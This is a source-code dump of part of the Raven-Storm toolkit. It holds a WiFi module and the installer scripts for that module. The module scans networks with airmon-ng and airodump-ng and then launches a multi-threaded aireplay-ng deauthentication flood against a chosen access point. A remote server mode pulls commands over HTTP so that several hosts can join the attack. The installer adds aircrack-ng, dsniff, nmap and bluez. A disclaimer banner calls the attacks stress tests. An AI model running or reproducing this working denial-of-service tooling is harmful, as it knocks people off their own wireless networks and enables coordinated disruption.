requests 14 | from CLIF_Framework.framework import event # noqa: I900 15 | from CLIF_Framework.framework import tools # noqa: I900 16 | 17 | try: 18 | from os import geteuid 19 | geteuid_exists = True 20 | except ImportError: 21 | geteuid_exists = False 22 | 23 | event = event() 24 | tools = tools() 25 | 26 | 27 | class Main: 28 | def __init__(selfie, console): # noqa: N805 29 | global self 30 | global var 31 | self = selfie 32 | var = console # noqa: VNE002 33 | 34 | self._add_commands() 35 | 36 | # Colors 37 | var.C_None = "\x1b[0;39m" 38 | var.C_Bold = "\x1b[1;39m" 39 | var.C_Green = "\x1b[32m" 40 | var.C_Violet = "\x1b[34m" 41 | var.C_Dark_Blue = "\x1b[35m" 42 | var.C_Red = "\x1b[31m" 43 | 44 | var.interface = "wlan0" 45 | var.essid = "" 46 | var.bssid = "" 47 | var.mon = "mon0" 48 | var.channel = 11 49 | var.threads = 2 50 | 51 | var.wifi_debug = False 52 | 53 | def _add_commands(self): 54 | event.commands(self.exit_console, ["exit", "quit", "e", "q"]) 55 | event.commands(self.show_values, ["values", "ls"]) 56 | event.command(self.help) 57 | 58 | event.commands(self.run_shell, ".") 59 | event.commands(self.debug, "$") 60 | 61 | event.help(["values", "ls"], "Show all options.") 62 | 63 | event.help("scan", "Scan for wifi networks.") 64 | event.help("channel", "Set the channel.") 65 | event.help("bssid", "Set the targets bssid address.") 66 | event.help("essid", "Set the targets essid name.") 67 | event.help("mon", "Set your own monitor interface.") 68 | event.help("interface", "Set the interface you would like to use.") 69 | event.help("threads", "Set the amount of threads to use.") 70 | event.help("run", "Run the stress test.") 71 | 72 | def banner(self): 73 | system("clear || cls") 74 | 75 | if "/" not in popen("command -v airmon-ng").read() or "/" not in popen("command -v airodump-ng").read() or "/" not in popen("command -v aireplay-ng").read(): 76 | input("\n[i] Please install aircrack-ng to continue.\n[Press Enter to continue]") 77 | system("clear || cls") 78 | var.stop() 79 | return 80 | 81 | if geteuid_exists: 82 | if geteuid() != 0: 83 | input("\n[i] Please run with sudo privileges.\n[Press Enter to continue]") 84 | system("clear || cls") 85 | var.stop() 86 | return 87 | 88 | print(("""C_B----------------------------------------------------------C_W 89 | THE CREATOR DOES NOT TAKE ANY RESPONSIBILITY FOR DAMAGE CAUSED. 90 | THE USER ALONE IS RESPONSIBLE, BE IT: ABUSING RAVEN-STORM 91 | TO FIT ILLEGAL PURPOSES OR ACCIDENTAL DAMAGE CAUSED BY RAVEN-STORM. 92 | BY USING THIS SOFTWARE, YOU MUST AGREE TO TAKE FULL RESPONSIBILITY 93 | FOR ANY DAMAGE CAUSED BY RAVEN-STORM. 94 | EVERY ATTACK WILL CAUSE TEMPORARY DAMAGE, BUT LONG-TERM DAMAGE IS 95 | DEFFINITIFLY POSSIBLE. 96 | RAVEN-STORM SHOULD NOT SUGGEST PEOPLE TO PERFORM ILLEGAL ACTIVITIES. 97 | C_B----------------------------------------------------------C_W""").replace("C_W", var.C_None).replace("C_B", var.C_Bold)) 98 | self.help() 99 | 100 | def exit_console(self): 101 | print("Have a nice day.") 102 | quit() 103 | 104 | def run_shell(self, command): 105 | print("") 106 | system(tools.arg("Enter shell command: ", ". ", command)) 107 | print("") 108 | 109 | def debug(self, command): 110 | print("") 111 | eval(tools.arg("Enter debug command: ", "$ ", command)) 112 | print("") 113 | 114 | @event.command 115 | def clear(): 116 | system("clear || cls") 117 | 118 | @event.event 119 | def on_ready(): 120 | self.banner() 121 | 122 | @event.event 123 | def on_command_not_found(command): 124 | print("") 125 | print("The command you entered does not exist.") 126 | print("") 127 | 128 | def check_session(self): 129 | if var.session[1][0] and len(var.session[1][1]) >= 1: 130 | if len(var.session[1][1][0]) >= 1: 131 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 132 | var.session[1][1][0] = var.session[1][1][0][1:] 133 | else: 134 | var.session[1][1] = var.session[1][1][1:] 135 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 136 | var.session[1][1][0] = var.session[1][1][0][1:] 137 | var.run_command = run_following 138 | 139 | @event.event 140 | def on_input(): 141 | self.check_session() 142 | if var.server[0] and not var.server[1]: 143 | while True: 144 | data = requests.post((var.server[2] + ("get/com%s" % var.server[4])), data={"password": var.server[3]}).text 145 | if data != "500": 146 | var.server[4] = var.server[4] + 1 147 | var.run_command = [data, data] 148 | print(var.ps1 + "\r") 149 | break 150 | else: 151 | sleep(1) 152 | 153 | @event.event 154 | def on_interrupt(): 155 | print("") 156 | var.stop() 157 | 158 | @event.event 159 | def on_command(command): 160 | if var.session[0][0]: 161 | var.session[0][1].write(command + "\n") 162 | if var.server[0] and var.server[1]: 163 | status = requests.post((var.server[2] + "set/com"), data={"password": var.server[3], "data": command}).text 164 | if status != "200": 165 | print("") 166 | print("An error occured, while sending commands to the server.") 167 | print("") 168 | 169 | @event.command 170 | def debug(): 171 | var.wifi_debug = True 172 | print("") 173 | print("Debugging mode enabled.") 174 | print("") 175 | 176 | def show_values(self): 177 | print("") 178 | print("Interface: %s" % var.interface) 179 | print("ESSID: %s" % var.essid) 180 | print("BSSID: %s" % var.bssid) 181 | print("MON: %s" % var.mon) 182 | print("Channel: %s" % var.channel) 183 | print("Threads: %s" % var.threads) 184 | print("") 185 | 186 | def help(self): 187 | event.help_title("\x1b[1;39mWIFI Help:\x1b[0;39m") 188 | tools.help("|-- ", " :: ", event) 189 | print("") 190 | 191 | @event.command 192 | def bssid(command): 193 | print("") 194 | var.bssid = tools.arg("BSSID: ", "bssid ", command) 195 | print("") 196 | 197 | @event.command 198 | def interface(command): 199 | print("") 200 | var.interface = tools.arg("Interface: ", "interface ", command) 201 | print("") 202 | 203 | @event.command 204 | def essid(command): 205 | print("") 206 | var.essid = tools.arg("BSSID: ", "essid ", command) 207 | print("") 208 | 209 | @event.command 210 | def mon(command): 211 | print("") 212 | var.mon = tools.arg("MON: ", "mon ", command) 213 | print("") 214 | 215 | @event.command 216 | def channel(command): 217 | print(" ") 218 | try: 219 | var.channel = int(tools.arg("Channel: ", "channel ", command)) 220 | except Exception as e: 221 | print("There was an error while executing.", e) 222 | print(" ") 223 | 224 | @event.command 225 | def threads(command): 226 | print(" ") 227 | try: 228 | var.threads = int(tools.arg("Threads: ", "threads ", command)) 229 | except Exception as e: 230 | print("There was an error while executing.", e) 231 | print(" ") 232 | 233 | @event.command 234 | def scan(command): 235 | print("") 236 | try: 237 | system("sudo airmon-ng check kill") 238 | sleep(1) 239 | system("sudo airmon-ng start %s" % var.interface) 240 | sleep(3) 241 | system("sudo airodump-ng %s &" % var.mon) 242 | except Exception as ex: 243 | var.command_log.append("ERROR: %s" % ex) 244 | print("ERROR: %s" % ex) 245 | print("") 246 | 247 | def ddos(self): 248 | system("sudo aireplay-ng --deauth 9999999999999 -o 1 -a %s -e %s %s & " % (var.bssid, var.essid, var.mon)) 249 | 250 | def dump(self): 251 | system("sudo airodump-ng -c %s --bssid %s %s & " % (var.channel, var.bssid, var.mon)) 252 | 253 | @event.command 254 | def run(): 255 | def execute(): 256 | print("") 257 | print("To stop the attack press: ENTER or CTRL + C") 258 | print("") 259 | 260 | var.ps1 = "" # Change due to threading bug. 261 | 262 | sleep(3) 263 | try: 264 | t = Thread(target=self.dump) 265 | t.start() 266 | except Exception: 267 | print("Could not start thread.") 268 | sleep(2) 269 | for thread in range(var.threads): 270 | try: 271 | t = Thread(target=self.ddos) 272 | t.start() 273 | except Exception: 274 | print("Could not start thread %s." % thread) 275 | 276 | def reset_attack(): 277 | print("Stopping threads...") 278 | system("sudo killall airplay-ng") 279 | system("sudo airmon-ng stop %s" % var.interface) 280 | system("sudo ifconfig %s up" % var.interface) 281 | system("sudo service restart NetworkManager") 282 | if var.wifi_debug: 283 | print("Saving debugging log...") 284 | output_to = path.join(getcwd(), "wifi_debug_log.txt") 285 | 286 | write_method = "a" 287 | if path.isfile(output_to): 288 | write_method = "a" 289 | else: 290 | write_method = "w" 291 | 292 | output_file = open(output_to, write_method) 293 | if write_method == "a": 294 | output_file.write("------------- New Log -------------") 295 | output_file.write(str(name + "\n")) 296 | output_file.write(str(version + "\n")) 297 | output_file.write(str("\n".join(var.command_log))) 298 | output_file.close() 299 | print("Done.") 300 | quit() 301 | 302 | def check_stopped_execution(): 303 | while True: 304 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 305 | if data != "True": 306 | reset_attack() 307 | break 308 | else: 309 | sleep(1) 310 | try: 311 | if var.server[0] and var.server[0]: 312 | rec_t = Thread(target=check_stopped_execution) 313 | rec_t.start() 314 | input("\r") 315 | except KeyboardInterrupt: 316 | pass 317 | 318 | if var.server[0] and var.server[1]: 319 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 320 | if status != "200": 321 | print("An error occured, while sending data to the server.") 322 | 323 | reset_attack() 324 | 325 | if var.server[0] and not var.server[1]: 326 | while True: 327 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 328 | if data == "True": 329 | execute() 330 | break 331 | else: 332 | sleep(1) 333 | elif not tools.question("\nDo you agree to the terms of use?"): 334 | print("Agreement not accepted.") 335 | quit() 336 | else: 337 | if var.server[0] and var.server[1]: 338 | if tools.question("\nWould you like to use the host as part of the ddos?"): 339 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 340 | if status != "200": 341 | print("An error occured, while sending data to the server.") 342 | execute() 343 | else: 344 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 345 | if status != "200": 346 | print("An error occured, while sending data to the server.") 347 | try: 348 | print("[Press Enter to stop the attack.]") 349 | except KeyboardInterrupt: 350 | pass 351 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 352 | if status != "200": 353 | print("An error occured, while sending data to the server.") 354 | else: 355 | execute() 356 | 357 | 358 | def setup(console): 359 | console.ps1 = "WIFI> " 360 | console.add(Main(console), event) 361 | -------------------------------------------------------------------------------- /Raven-Storm/uninstall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "[i] We will now uninstall Raven-Storm..." 3 | echo "[i] This will delete all backups." 4 | sudo rm -i /usr/bin/rst 5 | sudo rm -rf -i /usr/share/Raven-Storm 6 | 7 | echo "[i] Raven-Storm sucessfully uninstalled." 8 | exit 0 9 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "----------------------------------------" 3 | echo "[i] Installation" 4 | echo "[i] We are now checking what system you are running." 5 | if [ -f "/etc/debian_version" ]; then 6 | echo "[i] Detected Debian based Linux." 7 | echo "[i] We will now collect some information...." 8 | sudo apt-get update > /dev/null 2>&1 || echo "[!] Could not update information." 9 | echo "[i] We will now install git..." 10 | sudo apt-get install -y git > /dev/null 2>&1 || echo "[!] Could not install git." 11 | echo "[i] We will now install python3 and python3-pip..." 12 | sudo apt-get install -y python3 python3-pip > /dev/null 2>&1 || echo "[!] Could not install python3." 13 | echo "[i] We will now install ping..." 14 | sudo apt-get install -y iputils-ping > /dev/null 2>&1 || echo "[!] Could not install ping." 15 | echo "[i] We will now install nmap..." 16 | sudo apt-get install -y nmap > /dev/null 2>&1 || echo "[!] Could not install nmap." 17 | echo "[i] We will now install bluez..." 18 | sudo apt-get install -y bluez > /dev/null 2>&1 || echo "[!] Could not install bluez." 19 | echo "[i] We will now install aircrack-ng..." 20 | sudo apt-get install -y aircrack-ng > /dev/null 2>&1 || echo "[!] Could not install aircrack-ng." 21 | echo "[i] We will now install dsniff..." 22 | sudo apt-get install -y dsniff > /dev/null 2>&1 || echo "[!] Could not install dsniff." 23 | echo "[i] We will now install psmisc..." 24 | sudo apt-get install -y psmisc > /dev/null 2>&1 || echo "[!] Could not install psmisc." 25 | echo "[i] We will now download Raven-Storm..." 26 | sudo git clone https://github.com/Taguar258/Raven-Storm.git > /dev/null 2>&1 || echo "[!] Could not download Raven-Storm." 27 | cd Raven-Storm > /dev/null 2>&1 28 | echo "[i] We will now install requirements..." 29 | sudo pip3 install -r requirements.txt > /dev/null 2>&1 || echo "[!] Could not install the requirements." 30 | echo "[i] We will now install Raven-Storm..." 31 | sudo bash ./install_to_bin.sh || echo "[!] Could not install Raven-Storm." 32 | elif [[ "$OSTYPE" == "darwin"* ]]; then 33 | echo "[i] Detected darwin." 34 | echo "[i] We will now install brew if not existing..." 35 | brew --help > /dev/null 2>&1 || /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 36 | echo "[i] We will now install git..." 37 | sudo brew install git > /dev/null 2>&1 || echo "[!] Could not install git." 38 | echo "[i] We will now install python3 and python3-pip..." 39 | sudo brew install python3 > /dev/null 2>&1 || echo "[!] Could not install python3." 40 | echo "[i] We will now install ping..." 41 | sudo brew install iputils-ping > /dev/null 2>&1 || echo "[!] Could not install ping." 42 | echo "[i] We will now install nmap..." 43 | sudo brew install nmap > /dev/null 2>&1 || echo "[!] Could not install nmap." 44 | echo "[i] We will now install bluez..." 45 | sudo brew install bluez > /dev/null 2>&1 || echo "[!] Could not install bluez." 46 | echo "[i] We will now install aircrack-ng..." 47 | sudo brew install aircrack-ng > /dev/null 2>&1 || echo "[!] Could not install aircrack-ng." 48 | echo "[i] We will now install dsniff..." 49 | sudo brew install dsniff > /dev/null 2>&1 || echo "[!] Could not install dsniff." 50 | # psmisc already preinstalled for sure. 51 | echo "[i] We will now download Raven-Storm..." 52 | sudo git clone https://github.com/Taguar258/Raven-Storm.git > /dev/null 2>&1 || echo "[!] Could not download Raven-Storm." 53 | cd Raven-Storm > /dev/null 2>&1 54 | echo "[i] We will now install requirements..." 55 | sudo pip3 install -r requirements.txt > /dev/null 2>&1 || echo "[!] Could not install the requirements." 56 | echo "[i] We will now install Raven-Storm..." 57 | sudo bash ./install_to_bin.sh || echo "[!] Could not install Raven-Storm." 58 | elif [ -f "/etc/arch-release" ]; then # FIXME 59 | echo "[i] Detected Arch based Linux." 60 | echo "[i] We will now install git..." 61 | sudo pacman --noconfirm -S git > /dev/null 2>&1 || echo "[!] Could not install git." 62 | echo "[i] We will now install python3 and python3-pip..." 63 | sudo pacman --noconfirm -S python3 python3-pip > /dev/null 2>&1 || echo "[!] Could not install python3." 64 | echo "[i] We will now install ping..." 65 | sudo pacman --noconfirm -S iputils-ping > /dev/null 2>&1 || echo "[!] Could not install ping." 66 | echo "[i] We will now install nmap..." 67 | sudo pacman --noconfirm -S nmap > /dev/null 2>&1 || echo "[!] Could not install nmap." 68 | echo "[i] We will now install bluez..." 69 | sudo pacman --noconfirm -S bluez > /dev/null 2>&1 || echo "[!] Could not install bluez." 70 | echo "[i] We will now install aircrack-ng..." 71 | sudo pacman --noconfirm -S aircrack-ng > /dev/null 2>&1 || echo "[!] Could not install aircrack-ng." 72 | echo "[i] We will now install dsniff..." 73 | sudo pacman --noconfirm -S dsniff > /dev/null 2>&1 || echo "[!] Could not install dsniff." 74 | echo "[i] We will now install psmisc..." 75 | sudo pacman --noconfirm -S psmisc > /dev/null 2>&1 || echo "[!] Could not install psmisc." 76 | echo "[i] We will now download Raven-Storm..." 77 | sudo git clone https://github.com/Taguar258/Raven-Storm.git > /dev/null 2>&1 || echo "[!] Could not download Raven-Storm." 78 | cd Raven-Storm > /dev/null 2>&1 79 | echo "[i] We will now install requirements..." 80 | sudo pip3 install -r requirements.txt > /dev/null 2>&1 || echo "[!] Could not install the requirements." 81 | echo "[i] We will now install Raven-Storm..." 82 | sudo bash ./install_to_bin.sh || echo "[!] Could not install Raven-Storm." 83 | elif [[ "$OSTYPE" == "win32" ]]; then 84 | echo "[!] Please run on wsl." 85 | else 86 | echo "[!] We could not detect your system." 87 | echo "[i] Please install some things manually" 88 | git clone https://github.com/Taguar258/Raven-Storm.git > /dev/null 2>&1 || echo "[!] Please install git" 89 | cd Raven-Storm 90 | python3 --help > /dev/null 2>&1 || echo "[!] Please install python3." 91 | command -v ping > /dev/null 2>&1 || echo "[!] Please install ping." 92 | command -v l2ping > /dev/null 2>&1 || echo "[!] Please install bluez." 93 | command -v aircrack-ng > /dev/null 2>&1 || echo "[!] Please install aircrack-ng." 94 | command -v arpspoof > /dev/null 2>&1 || echo "[!] Please install dsniff." 95 | command -v killall > /dev/null 2>&1 || echo "[!] Please install psmisc." 96 | nmap --help > /dev/null 2>&1 || echo "[!] Please install nmap." 97 | pip3 install -r requirements.txt > /dev/null 2>&1 || echo "[!] Could not install the requirements." 98 | bash ./install_to_bin.sh || echo "[i] Could not install." 99 | fi 100 | 101 | echo "[i] Done" 102 | exit 0 103 | -------------------------------------------------------------------------------- /install_to_bin.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "[i] We will now install Raven-Storm to your bin path..." 3 | if [ -d "/usr/share/Raven-Storm" ] ; then 4 | echo "[i] Found an old version of Raven-Storm, proceeding to update..." 5 | echo "[i] Backing up old verison." 6 | if [ -d "/usr/share/Raven-Storm/Backup" ] ; then 7 | sudo mv /usr/share/Raven-Storm/Backup ./Backup 8 | else 9 | mkdir ./Backup 10 | fi 11 | name="./Backup/Raven-Storm" 12 | if [ -d $name ] ; then 13 | i=0 14 | while [ -d "$name.bak$i" ] ; do 15 | let i++ 16 | done 17 | name="$name.bak$i" 18 | fi 19 | sudo mv /usr/share/Raven-Storm $name 20 | mv ./Backup ./Raven-Storm/ 21 | sudo cp -ar ./Raven-Storm /usr/share/ 22 | echo "[i] Installation sucessful." 23 | echo "[i] Making Raven-Storm executable..." 24 | sudo mv /usr/share/Raven-Storm/main.py /usr/share/Raven-Storm/rst 25 | sudo chmod +x /usr/share/Raven-Storm/rst 26 | sudo ln -s /usr/share/Raven-Storm/rst /usr/bin/rst || echo "[i] Link already seems to exist." 27 | else 28 | sudo cp -ar ./Raven-Storm /usr/share/ 29 | echo "[i] Installation sucessful." 30 | echo "[i] Making Raven-Storm executable..." 31 | sudo mv /usr/share/Raven-Storm/main.py /usr/share/Raven-Storm/rst 32 | sudo chmod +x /usr/share/Raven-Storm/rst 33 | sudo ln -s /usr/share/Raven-Storm/rst /usr/bin/rst || echo "[i] Link already seems to exist." 34 | fi 35 | 36 | echo "[i] You can delete the Raven-Storm folder now." 37 | echo "----------------------------------------" 38 | echo "[i] Run 'sudo rst' to start Raven-Storm." 39 | echo "----------------------------------------" 40 | exit 0 41 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # 2020 4 | # The Raven-Storm Toolkit was programmed and developed by Taguar258. 5 | # The Raven-Storm Toolkit is published under the MIT Licence. 6 | # The Raven-Storm Toolkit is based on the CLIF-Framework. 7 | # The CLIF-Framework is programmed and developed by Taguar258. 8 | # The CLIF-Framework is published under the MIT Licence. 9 | 10 | # This script is a shortcut for everyone who does not want to install Raven-Storm to the bin path. 11 | 12 | from importlib import import_module 13 | from sys import path 14 | 15 | path.insert(1, "./Raven-Storm/") 16 | main = import_module("Raven-Storm.main") 17 | 18 | main.run() 19 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | urllib3==1.25.10 2 | python_nmap==0.6.1 3 | Flask==1.1.2 4 | requests==2.24.0 5 | --------------------------------------------------------------------------------